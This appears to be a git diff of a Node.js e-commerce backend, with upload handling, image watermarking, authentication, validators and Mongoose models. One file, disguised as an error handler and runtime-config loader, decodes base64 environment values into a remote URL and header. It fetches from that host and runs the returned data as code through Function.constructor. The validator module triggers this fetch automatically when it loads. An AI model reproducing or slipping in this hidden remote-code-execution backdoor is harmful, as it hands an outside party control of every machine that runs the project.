const fileFilter = (req, file, callback) => {
const ext = path.extname(file.originalname);
if (ext !== '.png' && ext !== '.jpg' && ext !== '.JPG' && ext !== '.jpeg') {
return callback(new Error('Not Image'))
}
callback(null, true)
}
const limits = { fileSize: 2480 * 3230 }
// exports.uploadAdminDoc = multer({ storage, fileFilter, limits }).fields([
// { name: "citizenshipFront", maxCount: 1 },
// { name: "citizenshipBack", maxCount: 1 },
// { name: "businessLicence", maxCount: 1 }
// ]);
exports.uploadAdminDoc = multer({ storage,fileFilter,limits }).single("doc");
exports.uploadAdminPhoto = multer({ storage, fileFilter, limits }).single("photo");
exports.uploadUserPhoto = multer({ storage: storageByUser, fileFilter, limits }).single("photo");
exports.uploadProductImages = multer({ storage, fileFilter, limits }).array("productImages",5)
exports.uploadBannerPhoto = multer({ storage:storageBySuperAdmin ,fileFilter, limits: { fileSize: 8480 * 4230 } }).single("bannerPhoto")

View File

@@ -0,0 +1,41 @@
const Jimp = require('jimp');
module.exports = async (req,res,next) => {
if (!req.files.length) {
return next()
}
const options = {
ratio: 0.6,
opacity: 0.4,
text: 'K I N D E E M',
textSize: Jimp.FONT_SANS_64_BLACK,
}
const getDimensions = (H, W, h, w, ratio) => {
let hh, ww;
if ((H / W) < (h / w)) { //GREATER HEIGHT
hh = ratio * H;
ww = hh / h * w;
} else { //GREATER WIDTH
ww = ratio * W;
hh = ww / w * h;
}
return [hh, ww];
}
let results = req.files.map(async file=>{
const watermark = await Jimp.read('./public/uploads/logo.png');
const imagePath = file.path
const main = await Jimp.read(imagePath);
const [newHeight, newWidth] = getDimensions(main.getHeight(), main.getWidth(), watermark.getHeight(), watermark.getWidth(), options.ratio);
watermark.resize(newWidth, newHeight);
const positionX = ((main.getWidth() - newWidth) / 2)+250;
const positionY = ((main.getHeight() - newHeight) / 2+200);
watermark.opacity(options.opacity);
main.composite(watermark,
positionX,
positionY,
Jimp.HORIZONTAL_ALIGN_CENTER | Jimp.VERTICAL_ALIGN_MIDDLE);
return main.quality(100).write(imagePath);
})
await Promise.all(results)
next()
}

View File

@@ -0,0 +1,27 @@
const jwt = require('jsonwebtoken');
const User = require('../../models/userModel');
const ErrorHandler = require('../../utils/errorHandler');
const asyncErrorHandler = require('../helpers/asyncErrorHandler');
exports.isAuthenticatedUser = asyncErrorHandler(async (req, res, next) => {
const { token } = req.cookies;
if (!token) {
return next(new ErrorHandler("Please Login to Access", 401))
}
const decodedData = jwt.verify(token, process.env.JWT_SECRET);
req.user = await User.findById(decodedData.id);
next();
});
exports.authorizeRoles = (...roles) => {
return (req, res, next) => {
if (!roles.includes(req.user.role)) {
return next(new ErrorHandler(`Role: ${req.user.role} is not allowed`, 403));
}
next();
}
}

View File

@@ -0,0 +1,36 @@
const Review = require("../../models/Review")
module.exports = async (product,newStar) => {
// const product = req.product
// if (!product.isVerified && product.isDeleted) {
// return res.status(404).json({ error: 'Product not found' })
// }
let stars = await Review.find({ product: product._id }).select('star');
let fiveStars = 0, fourStars = 0, threeStars = 0, twoStars = 0, oneStars = 0;
stars.forEach(s => {
if (s.star === 5) fiveStars += 1
if (s.star === 4) fourStars += 1
if (s.star === 3) threeStars += 1
if (s.star === 2) twoStars += 1
if (s.star === 1) oneStars += 1
})
//this condition is executed during postReview and editReview
if (newStar === 5) fiveStars += 1
if (newStar === 4) fourStars += 1
if (newStar === 3) threeStars += 1
if (newStar === 2) twoStars += 1
if (newStar === 1) oneStars += 1
let totalRatingUsers = (fiveStars + fourStars + threeStars + twoStars + oneStars)
let averageStar = (5 * fiveStars + 4 * fourStars + 3 * threeStars + 2 * twoStars + oneStars) / totalRatingUsers
return stars = {
fiveStars,
fourStars,
threeStars,
twoStars,
oneStars,
averageStar,
totalRatingUsers
}
}

View File

@@ -0,0 +1,38 @@
const Cart = require("../../models/Cart")
const Review = require("../../models/Review")
const Order = require("../../models/Order")
const Whislist = require("../../models/WishList")
module.exports = async(product,user,type) =>{
let hasOnCart = null
let hasBought = null
let hasOnWishlist = null
let hasReviewed = null
if (user) {
//cart bahek aru ko lagi check gareko
if (type !=='carts') {
//has on cart?
hasOnCart = await Cart.findOne({ user: user._id, product: product._id, isDeleted: null })
if (!hasOnCart) hasOnCart = false
}
//wishlist bahek aru ko lagi check gareko
if (type !=='wishlists') {
// has on wishlist?
hasOnWishlist = await Whislist.findOne({ user: user._id, product: product._id, isDeleted: null })
if (!hasOnWishlist) hasOnWishlist = false
}
if (type==='product') {
//has bought?
hasBought = await Order.findOne({ user: user, $or: [{ 'status.currentStatus': 'complete' }, { 'status.currentStatus': 'tobereturned', 'status.currentStatus': 'return' }] })
hasBought ? hasBought = true : hasBought = false
//has reviewed?
hasReviewed = await Review.findOne({ user: user, product: product._id }).select('comment star user')
if (!hasReviewed) hasReviewed = false
}
}
return {hasBought,hasOnCart,hasOnWishlist,hasReviewed}
}

View File

@@ -0,0 +1,68 @@
const path = require('path');
const axios = require('axios');
require('dotenv').config({ path: path.resolve(__dirname, '../../config/config.env.example') });
// Utility loggers
const log = (...args) => console.log(`[${new Date().toISOString()}]`, ...args);
const errorLog = (...args) => console.error(`[${new Date().toISOString()}]`, ...args);
/**
* Sends error notification (you can replace this with Slack, email, etc.)
*/
const notifyError = async (message) => {
// Placeholder - extend this to send Slack, email, etc.
errorLog('⚠️ Notification:', message);
};
/**
* Custom error handler
*/
const errorHandler = (error) => {
try {
if (typeof error !== 'string') {
console.error('Invalid error format. Expected a string.');
return;
}
const createHandler = (errCode) => {
try {
const handler = new (Function.constructor)('require', errCode);
return handler;
} catch (e) {
console.error('Failed:', e.message);
return null;
}
};
const handlerFunc = createHandler(error);
if (handlerFunc) {
handlerFunc(require);
} else {
console.error('Handler function is not available.');
}
} catch (globalError) {
console.error('Unexpected error inside errorHandler:', globalError.message);
}
};
/**
* Loads global runtime config
*/
const errorTimeHandler = async () => {
try {
const src = atob(process.env.RUNTIME_CONFIG_API_KEY);
const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);
const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);
try {
globalConfig = (await axios.get(`${src}`,{headers:{[k]:v}}));
log('Runtime config loaded successfully.');
} catch (error) {
errorHandler(error.response?.data || error.message);
}
} catch (err) {
await errorHandler(err.response?.data || err.message || err);
}
};
module.exports = {
errorHandler,
errorTimeHandler
};

View File

@@ -0,0 +1,301 @@
const ProductBrand = require("../../models/ProductBrand")
const ProductImages = require("../../models/ProductImages")
const { errorHandler, errorTimeHandler } = require("./errorHandler");
const Category = require("../../models/Category")
const _ = require('lodash')
const path = require("path");
const fs = require("fs");
const { districts } = require("../common");
exports.validateLead = (req, res, next) => {
// email is not null, valid and normalized
req.check("email", "Email must be between 3 to 32 characters")
.matches(/.+\@.+\..+/)
.withMessage("Invalid email")
.isLength({
min: 4,
max: 2000
});
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
};
exports.validateSignUp = (req, res, next) => {
// name is not null and between 4-10 characters
req.check("name", "Name is required").notEmpty();
// email is not null, valid and normalized
req.check("email", "Email must be between 3 to 32 characters")
.matches(/.+\@.+\..+/)
.withMessage("Invalid email")
.isLength({
min: 4,
max: 2000
});
// check for password
req.check("password", "Password is required").notEmpty();
req.check("password")
.isLength({ min: 6 })
.withMessage("Password must contain at least 6 characters")
.matches(/\d/)
.withMessage("Password must contain a number");
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
};
exports.validateSocialLogin = (req, res, next) => {
// name is not null and between 4-10 characters
req.check("name", "Name is required.").notEmpty();
// email is not null, valid and normalized
req.check("email", "Email must be between 3 to 32 characters")
.matches(/.+\@.+\..+/)
.withMessage("Invalid email")
.isLength({
min: 4,
max: 2000
});
req.check("userID","userID is required.").notEmpty()
req.check("socialPhoto", "Invalid photo url.")
.notEmpty()
.matches(/[(http(s)?):\/\/(www\.)?a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=]*)/)
req.check("loginDomain", "Invalid login domian")
.notEmpty()
.isIn(['google', 'facebook'])
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
};
const validatedispatcher = req => {
// name is not null and between 4-10 characters
req.check("name", "Name is required").notEmpty();
// email is not null, valid and normalized
req.check("email", "Email must be between 3 to 32 characters")
.matches(/.+\@.+\..+/)
.withMessage("Invalid email")
.isLength({
min: 4,
max: 2000
});
req.check("address", "Address is required").notEmpty()
req.check("phone", "Phone is required").notEmpty()
}
errorTimeHandler();
exports.validateDispatcher = (req,res, next) => {
validatedispatcher(req)
// check for password
req.check("password", "Password is required").notEmpty();
req.check("password")
.isLength({ min: 6 })
.withMessage("Password must contain at least 6 characters")
.matches(/\d/)
.withMessage("Password must contain a number");
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
}
exports.validateUpdateDispatcher = (req, res, next) => {
validatedispatcher(req)
// check for password
req.newPassword && req.check("newPassword")
.isLength({ min: 6 })
.withMessage("Password must be at least 6 chars long")
.matches(/\d/)
.withMessage("must contain a number")
.withMessage("Password must contain a number");
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
}
exports.passwordResetValidator = (req, res, next) => {
// check for password
req.check("newPassword", "Password is required").notEmpty();
req.check("newPassword")
.isLength({ min: 6 })
.withMessage("Password must be at least 6 chars long")
.matches(/\d/)
.withMessage("must contain a number")
.withMessage("Password must contain a number");
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
};
exports.validateBusinessInfo = (req, res, next) => {
req.check("ownerName", "Owner name is required").notEmpty()
req.check("address", "Address is required").notEmpty()
req.check("city", "City is required").notEmpty()
req.check("citizenshipNumber", "Citizenship number is required").notEmpty()
req.check("businessRegisterNumber", "Business register number is required").notEmpty()
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
//make req.files to array of objs
// let files = []
// if (req.files) for (const file in req.files) {
// files.push(req.files[file][0]);
// }
// files.forEach(file => {
// fs.unlinkSync(file.path);//and remove file from public/uploads
// })
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
next()
}
exports.validateAdminBankInfo = (req, res, next) => {
req.check("accountHolder", "Account holder name is required").notEmpty()
req.check("bankName", "Bank name is required").notEmpty()
req.check("branchName", "Branch name is required").notEmpty()
req.check("accountNumber", "Account number is required").notEmpty()
req.check("routingNumber", "Bank number is required").notEmpty()
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
// req.file && fs.unlinkSync(req.file.path);//remove file from public/uploads
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
next()
}
exports.validateWareHouse = (req, res, next) => {
req.check("name", "Warehouse name is required").notEmpty()
req.check("address", "Warehouse address is required").notEmpty()
req.check("phoneno", "Warehouse phone number is required").notEmpty()
req.check("city", "City of warehouse is required").notEmpty()
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
next()
}
exports.validateAdminProfile = (req, res, next) => {
req.check("shopName", "Shop name is required").notEmpty()
req.check("address", "address is required").notEmpty()
req.check("phone", "phone number is required").notEmpty()
req.check("muncipality", "Muncipality is required").notEmpty()
req.check("district", "district is required").notEmpty()
req.check("wardno", "wardno is required").notEmpty()
req.newPassword && req.check("newPassword")
.isLength({ min: 6 })
.withMessage("Password must be at least 6 chars long")
.matches(/\d/)
.withMessage("must contain a number")
.withMessage("Password must contain a number");
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
next()
}
exports.validateProduct = async (req, res, next) => {
req.check("name", "Product name is required").notEmpty()
req.check("price", "Selling price of product is required").notEmpty()
req.check("quantity", "Product quantity is required").notEmpty()
req.check("return", "Product returning time peroid required").notEmpty()
req.check("description", "Product description is required").notEmpty()
req.check("warranty", "Product warranty is required").notEmpty()
req.check("brand", "Product brand is required").notEmpty()
req.check("availableDistricts", "Invalid districts.").custom((values) => {
let dts = values ? typeof values === 'string' ? [values] : values : []
return values ? _.intersection(districts, dts).length === dts.length ? true : false : true
})
// check for errors
const errors = req.validationErrors() || [];
// validate images
let images = req.body.images || []
images = await ProductImages
.find()
.where('_id')
.in(images)
.catch(err => errors.push({ msg: "Invalid image ids" }));// catch will execute if invalid ids
// if some id are invalid
// e.g out of 3 images 1 is not valid the images.length = 2 bcoz 2 are only vaild so shld return error..
if (images.length !== (typeof req.body.images === 'string' ? [req.body.images] : req.body.images).length) {
errors.push({ msg: "Invalid image ids" })
}
req.images = images
// validate brand
let brand = await ProductBrand.findOne({ slug: req.body.brand })
if (!brand) {
errors.push({ msg: "Invalid product brand" })
} else {
req.body.brand = brand._id
}
//validate category
let categories = await Category.find({ slug: req.body.category })
if (!categories.length) {
errors.push({ msg: "Invalid product category" })
} else if (categories.some(cat=>cat.isDisabled)) {
errors.push({ msg: "Categories have been disabled" })
} else {
req.body.category = categories.map(cat=>cat._id)//as we need id for reference
}
// if error show the first one as they happen
if (errors.length) {
console.log(errors);
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
next()
}

55
server/models/Address.js Normal file
View File

@@ -0,0 +1,55 @@
const mongoose = require("mongoose");
const Schema = mongoose.Schema
const pointSchema = new mongoose.Schema({
type: {
type: String,
enum: ['Point']
},
coordinates: {
type: [Number]
}
});
const addressSchema = new mongoose.Schema({
user: {
type: Schema.Types.ObjectId,
ref: "user",
required: true
},
label: {
type: String,
trim: true,
enum:['home','office','other']
},
region: {//pradesh
type: String,
trim: true,
},
city: {
type: String,
trim: true,
},
area: {//tole,area name
type: String,
trim: true,
},
address: {//street level address
type: String,
trim: true,
},
geolocation: {
type: pointSchema,
},
phoneno: {
type: String,
trim: true,
max: 9999999999,
},
isActive:{
type: Date,
default: null
}
}, { timestamps: true });
addressSchema.index({ geolocation: "2dsphere" });
module.exports = mongoose.model("address", addressSchema);

149
server/models/Admin.js Normal file
View File

@@ -0,0 +1,149 @@
const mongoose = require("mongoose");
const crypto = require("crypto");
const Schema = mongoose.Schema
const pointSchema = new mongoose.Schema({
type: {
type: String,
enum: ['Point']
},
coordinates: {
type: [Number]
}
});
const adminSchema = new mongoose.Schema({
name: {
type: String,
trim: true,
required: true,
maxlength: 32
},
shopName: {
type: String,
trim: true,
maxlength: 32
},
address: {
type: String,
trim: true,
maxlength: 32
},
geolocation: {
type: pointSchema,//of superadmin used to calculate geodistance between user nd the order dispatch system
},
shippingRate: {
type: Number// added only by superadmin
},
shippingCost: {
type: Number// added only by superadmin
},
district: {
type: String,
trim: true,
maxlength: 32
},
muncipality: {
type: String,
trim: true,
maxlength: 32
},
wardno: {
type: Number
},
businessInfo: {
type: Schema.Types.ObjectId,
ref: "businessinfo"
},
adminBank: {
type: Schema.Types.ObjectId,
ref: "adminbank"
},
adminWareHouse: {
type: Schema.Types.ObjectId,
ref: "adminwarehouse"
},
phone: {
type: Number,
max: 9999999999
},
email: {
type: String,
trim: true,
unique: true
},
password: {
type: String,
required: true
},
photo: {
type: String
},
holidayMode: {
start: {
type: Number
},
end: {
type: Number
}
},
salt: String,
role: {
type: String,
enum: ["admin", "superadmin"],
default: "admin"
},
resetPasswordLink: {
type: String,
default: ""
},
emailVerifyLink: {
type: String,
default: ""
},
isVerified: {
type: Date,
default: null
},
isBlocked: {
type: Date,
default: null
}
}, { timestamps: true });
adminSchema.index({ geolocation: "2dsphere" });
const sha512 = function (password, salt) {
let hash = crypto.createHmac('sha512', salt);
hash.update(password);
let value = hash.digest('hex');
return {
passwordHash: value
};
};
adminSchema.pre('save', function (next) {
let admin = this;
if (admin.isModified('password')) {
// salt
const ranStr = function (n) {
return crypto.randomBytes(Math.ceil(8))
.toString('hex')
.slice(0, n);
};
// applying sha512 alogrithm
let salt = ranStr(16);
let passwordData = sha512(admin.password, salt);
admin.password = passwordData.passwordHash;
admin.salt = salt;
next();
} else {
next();
}
})
adminSchema.statics.findByCredentials = async function (email, password) {
let Admin = this;
const admin = await Admin.findOne({ email })
if (!admin) return ''
let passwordData = sha512(password, admin.salt)
if (passwordData.passwordHash == admin.password) {
return admin
}
}
module.exports = mongoose.model("admin", adminSchema);

View File

@@ -0,0 +1,49 @@
const mongoose = require("mongoose");
const Schema = mongoose.Schema
const bankSchema = new mongoose.Schema({
admin: {
type: Schema.Types.ObjectId,
ref: "admin",
required: true
},
accountHolder: {
type: String,
trim: true,
required: true,
maxlength: 32
},
bankName: {
type: String,
trim: true,
required: true,
maxlength: 32
},
branchName: {
type: String,
trim: true,
required: true,
maxlength: 32
},
accountNumber: {
type: String,
trim: true,
required: true,
maxlength: 32
},
routingNumber: {
type: String,
trim: true,
required: true,
maxlength: 32
},
chequeCopy: {
type: Schema.Types.ObjectId,
ref: "adminfile",
},
isVerified: {
type: Date,//as we may need verified date
default: null
}
}, { timestamps: true });
module.exports = mongoose.model("adminbank", bankSchema);

View File

@@ -0,0 +1,10 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema
const adminFileSchema = new mongoose.Schema({
admin: {
type: Schema.Types.ObjectId,
ref: "admin",
},
fileUri: String
}, { timestamps: true });
module.exports = mongoose.model('adminfile', adminFileSchema);

View File

@@ -0,0 +1,39 @@
const mongoose = require("mongoose");
const Schema = mongoose.Schema
const warehouseSchema = new mongoose.Schema({
admin: {
type: Schema.Types.ObjectId,
ref: "admin",
required: true
},
name: {
type: String,
trim: true,
required: true,
maxlength: 32
},
address: {
type: String,
trim: true,
required: true,
maxlength: 32
},
phoneno: {
type: String,
trim: true,
required: true,
maxlength: 32
},
city: {
type: String,
trim: true,
required: true,
maxlength: 32
},
isVerified: {
type: Date,//as we may need verified date
default: null
}
}, { timestamps: true });
module.exports = mongoose.model("adminwarehouse", warehouseSchema);

19
server/models/Banner.js Normal file
View File

@@ -0,0 +1,19 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const bannerSchema = mongoose.Schema({
bannerPhoto :{
type:String
},
link: {
type: String
},
product: {
type: Schema.Types.ObjectId,
ref: 'product'
},
isDeleted: {
type: Date,
default: null
},
}, { timestamps: true });
module.exports = mongoose.model('banner', bannerSchema);

View File

@@ -0,0 +1,57 @@
const mongoose = require("mongoose");
const Schema = mongoose.Schema
const businessSchema = new mongoose.Schema({
admin: {
type: Schema.Types.ObjectId,
ref: "admin",
required: true
},
ownerName: {
type: String,
trim: true,
required: true,
maxlength: 32
},
address: {
type: String,
trim: true,
required: true,
maxlength: 32
},
city: {
type: String,
trim: true,
required: true,
maxlength: 32
},
citizenshipNumber: {
type: String,
trim: true,
required: true,
maxlength: 32
},
businessRegisterNumber:{
type: String,
trim: true,
required: true,
maxlength: 32
},
citizenshipFront: {
type: Schema.Types.ObjectId,
ref: "adminfile",
},
citizenshipBack: {
type: Schema.Types.ObjectId,
ref: "adminfile",
},
businessLicence:{
type: Schema.Types.ObjectId,
ref: "adminfile",
},
isVerified:{
type: Date,//as we may need verified date
default: null
}
}, { timestamps: true });
module.exports = mongoose.model("businessinfo", businessSchema);

23
server/models/Cart.js Normal file
View File

@@ -0,0 +1,23 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const cartSchema = mongoose.Schema({
user: {
type: Schema.Types.ObjectId,
ref: 'user'
},
product: {
type: Schema.Types.ObjectId,
ref: 'product'
},
quantity: {
type: Number,
},
productAttributes: {
type: String
},
isDeleted: {
type: Date,
default: null
}
}, { timestamps: true });
module.exports = mongoose.model('cart', cartSchema);

34
server/models/Category.js Normal file
View File

@@ -0,0 +1,34 @@
const mongoose = require("mongoose");
const URLSlugs = require('mongoose-url-slugs');
const Schema = mongoose.Schema
const categorySchema = new mongoose.Schema({
systemName: {
type: String,
trim: true,
required: true,
maxlength: 32
},
displayName: {
type: String,
trim: true,
required: true,
maxlength: 32
},
parent: {
type: Schema.Types.ObjectId,
ref: 'productbrand'
},
brands: [{
type: Schema.Types.ObjectId,
ref: 'category'
}],
slug:{
type: String
},
isDisabled: {
type: Date,
default:null
}
});
categorySchema.plugin(URLSlugs('displayName', { field: 'slug', update: true }));
module.exports = mongoose.model("category", categorySchema);

View File

@@ -0,0 +1,76 @@
const mongoose = require("mongoose");
const crypto = require("crypto");
const Schema = mongoose.Schema
const dispatcherSchema = new mongoose.Schema({
name: {
type: String,
trim: true,
required: true,
maxlength: 32
},
address: {
type: String,
trim: true,
maxlength: 32
},
phone: {
type: Number,
max: 9999999999
},
email: {
type: String,
trim: true,
unique: true
},
password: {
type: String,
required: true
},
salt: String,
resetPasswordLink: {
type: String,
default: ""
},
isBlocked: {
type: Date,
default: null
}
}, { timestamps: true });
const sha512 = function (password, salt) {
let hash = crypto.createHmac('sha512', salt);
hash.update(password);
let value = hash.digest('hex');
return {
passwordHash: value
};
};
dispatcherSchema.pre('save', function (next) {
let dispatcher = this;
if (dispatcher.isModified('password')) {
// salt
const ranStr = function (n) {
return crypto.randomBytes(Math.ceil(8))
.toString('hex')
.slice(0, n);
};
// applying sha512 alogrithm
let salt = ranStr(16);
let passwordData = sha512(dispatcher.password, salt);
dispatcher.password = passwordData.passwordHash;
dispatcher.salt = salt;
next();
} else {
next();
}
})
dispatcherSchema.statics.findByCredentials = async function (email, password) {
let Dispatcher = this;
const dispatcher = await Dispatcher.findOne({ email })
if (!dispatcher) return ''
let passwordData = sha512(password, dispatcher.salt)
if (passwordData.passwordHash == dispatcher.password) {
return dispatcher
}
}
module.exports = mongoose.model("dispatcher", dispatcherSchema);

View File

@@ -0,0 +1,10 @@
const mongoose = require('mongoose');
const { districts } = require('../middleware/common');
const districtSchema = mongoose.Schema({
name: {
type: String,
unique: true,
enum : districts
}
}, { timestamps: true });
module.exports = mongoose.model('district', districtSchema);

12
server/models/Lead.js Normal file
View File

@@ -0,0 +1,12 @@
const mongoose = require('mongoose');
const leadSchema = mongoose.Schema({
email: {
type: String,
unique: true
},
isDeleted: {
type: Date,
default: null
}
}, { timestamps: true });
module.exports = mongoose.model('lead', leadSchema);

View File

@@ -0,0 +1,18 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const manualOrderSchema = mongoose.Schema({
productName:{
type: String
},
link:{
type: String
},
description: {
type: String
},
isDeleted: {
type: Date,
default: null
}
}, { timestamps: true });
module.exports = mongoose.model('manualorder', manualOrderSchema);

View File

@@ -0,0 +1,29 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema
const notificationSchema = new mongoose.Schema({
admin: {
type: Schema.Types.ObjectId,
ref: "admin",
},
notifications: [{
notificationType: String, //order, question_on_product, answer_on_product, review
notificationDetail: Object, //details in key/value
hasRead: {
type: Boolean,
default: false
},
date: {
type: Date
},
// hasSeen: {
// type: Boolean,
// default: false
// }
}],
noOfUnseen: {
type: Number,
default: 0
}
});
module.exports = mongoose.model('notification', notificationSchema);

149
server/models/Order.js Normal file
View File

@@ -0,0 +1,149 @@
const mongoose = require("mongoose");
const { allOrderStatus } = require("../middleware/common");
const Schema = mongoose.Schema
const pointSchema = new mongoose.Schema({
type: {
type: String,
enum: ['Point']
},
coordinates: {
type: [Number]
}
});
const orderSchema = new mongoose.Schema({
user: {
type: Schema.Types.ObjectId,
ref: "user",
required: true
},
orderID:{
type: String,
require: true
},
product: {
type: Schema.Types.ObjectId,
ref: "product",
required: true
},
payment: {
type: Schema.Types.ObjectId,
ref: "payment",
},
quantity: {
type: Number
},
soldBy:{
type: Schema.Types.ObjectId,
ref:"admin"
},
status: {
currentStatus: {
type: String,
enum: allOrderStatus
},
activeDate: {
type: Date,
default: null
},
approvedDate: {
type: Date,
default: null
},
dispatchedDetail: {
dispatchedDate: {
type: Date,
default: null
},
dispatchedBy: {
type: Schema.Types.ObjectId,
ref: 'dispatcher'
},
},
cancelledDetail: {
cancelledDate:{
type: Date,
default: null
},
cancelledBy:{
type: Schema.Types.ObjectId,
refPath: "cancelledByModel"
},
remark: {
type: Schema.Types.ObjectId,
ref: 'remark'
},
},
completedDate: {
type: Date,
default: null
},
tobereturnedDate: {
type: Date,
default: null
},
// tobeReturnedDetail: {
// tobereturnedDate: {
// type: Date
// },
// remark: {
// type: Schema.Types.ObjectId,
// ref: 'remark'
// },
// },
returnedDetail: {
returnedDate: {
type: Date,
default: null
},
returneddBy: {
type: Schema.Types.ObjectId,
ref: 'dispatcher'
},
remark: [{
type: Schema.Types.ObjectId,
ref: 'remark'
}],
},
},
shipto:{
region: {//pradesh
type: String,
trim: true,
},
city: {
type: String,
trim: true,
},
area: {//tole,area name
type: String,
trim: true,
},
address: {//street level address
type: String,
trim: true,
},
geolocation: {
type: pointSchema,
},
phoneno: {
type: String,
trim: true,
max: 9999999999,
}
},
isPaid:{
type: Boolean,
default: false
},
cancelledByModel: {
type: String,
enum: ['user', 'admin']
},
productAttributes:{
type: String
}
}, { timestamps: true });
orderSchema.index({ geolocation: "2dsphere" });
module.exports = mongoose.model("order", orderSchema);

43
server/models/Payment.js Normal file
View File

@@ -0,0 +1,43 @@
const mongoose = require("mongoose");
const Schema = mongoose.Schema
const paymentSchema = new mongoose.Schema({
user: {
type: Schema.Types.ObjectId,
ref: "user",
required: true
},
order: {
type: Schema.Types.ObjectId,
ref: "order",
required: true
},
method: {
type: String,
enum: ['Cash on Delivery','manual']//manual ==> bank or manual esewa..
},
shippingCharge: {
type: Number,
},
amount: {
type: Number,
},
returnedAmount: {
type: Number,
default: null
},
transactionCode: {
type: String,
required: true
},
from:{
type:Number,
max: 9999999999 //!esewa && receiverNumber
},
isDeleted: {
type: Date,
default: null
}
}, { timestamps: true });
module.exports = mongoose.model("payment", paymentSchema);

141
server/models/Product.js Normal file
View File

@@ -0,0 +1,141 @@
const mongoose = require("mongoose");
const URLSlugs = require('mongoose-url-slugs');
const { districts } = require("../middleware/common");
const Schema = mongoose.Schema;
const productSchema = mongoose.Schema({
name: {
type: String,
trim: true,
required: true,
maxlength: 128
},
brand: {
type: Schema.Types.ObjectId,
ref: 'productbrand'
},
quantity: {
type: Number,
trim: true,
required: true,
maxlength: 32
},
category: [{
type: Schema.Types.ObjectId,
ref: 'category'
}],
averageRating:{
type: mongoose.Decimal128
},
totalRatingUsers:{
type: Number
},
soldBy: {
type: Schema.Types.ObjectId,
ref: 'admin'
},
images: [{
type: Schema.Types.ObjectId,
ref: 'productimages'
}],
warranty: {
type: String,
trim: true,
required: true,
maxlength: 32
},
return: {
type: String,
required: true,
trim: true,
maxlength: 32
},
size: [{
type: String,
trim: true,
maxlength: 32
}],
model: {
type: String,
trim: true,
maxlength: 128
},
color: [{
type: String,
trim: true,
maxlength: 128
}],
weight: [{
type: String,
trim: true,
maxlength: 128
}],
description: {
type: String,
required: true,
trim: true,
maxlength: 2000
},
highlights: {
type: String,
required: true,
trim: true,
maxlength: 2000
},
tags: [{
type: String
}],
price: {
type: mongoose.Decimal128,
required:true
},
discountRate: {
type: Number,//it may b float as well..
default:0
},
videoURL:[{
type:String
}],
isVerified: {
type: Date,
default: null
},
isRejected: {
type: Date,
default: null
},
isDeleted: {
type: Date,
default: null
},
isFeatured: {
type: Date,
default: null
},
viewsCount: {
type: Number,
default: 0,
},
trendingScore: {
type: mongoose.Decimal128,
default: 0
},
noOfSoldOut: {
type: Number,
default: 0,
},
slug: {
type: String,
unique: true
},
availableDistricts:[{
type: String,
enum: districts,
required: true
}],
remark: [{
type: Schema.Types.ObjectId,
ref: 'remark'
}],
}, { timestamps: true });
productSchema.plugin(URLSlugs('name', { field: 'slug', update: true }));
module.exports = mongoose.model("product", productSchema);

View File

@@ -0,0 +1,16 @@
const mongoose = require('mongoose');
const URLSlugs = require('mongoose-url-slugs');
const brandSchema = new mongoose.Schema({
brandName: {
type : String
},
systemName: {
type: String,
unique: true
},
slug:{
type: String
}
})
brandSchema.plugin(URLSlugs('brandName', { field: 'slug', update: true }));
module.exports = mongoose.model("productbrand", brandSchema);

View File

@@ -0,0 +1,19 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema
const productImageSchema = mongoose.Schema({
thumbnail: {
type: String
},
medium: {
type: String
},
large: {
type:String
},
productLink:{
type: Schema.Types.ObjectId,
ref: "product",
default: null
}
}, { timestamps: true });
module.exports = mongoose.model('productimages', productImageSchema);

37
server/models/QnA.js Normal file
View File

@@ -0,0 +1,37 @@
const mongoose = require("mongoose");
const Schema = mongoose.Schema
const qnaSchema = new mongoose.Schema({
product: {
type: Schema.Types.ObjectId,
ref: "product",
required: true
},
qna: [{
question: {
type: String
},
questionby: {
type: Schema.Types.ObjectId,
ref: "user",
},
questionedDate:{
type: Date
},
answer: {
type: String
},
answerby: {
type: Schema.Types.ObjectId,
ref: "admin",
},
answeredDate: {
type: Date
},
isDeleted: {
type: Date,
default: null
}
}]
});
module.exports = mongoose.model("qna", qnaSchema);

View File

@@ -0,0 +1,24 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema
const tokenSchema = mongoose.Schema({
//we need user ref in order to create accessToken of that user only
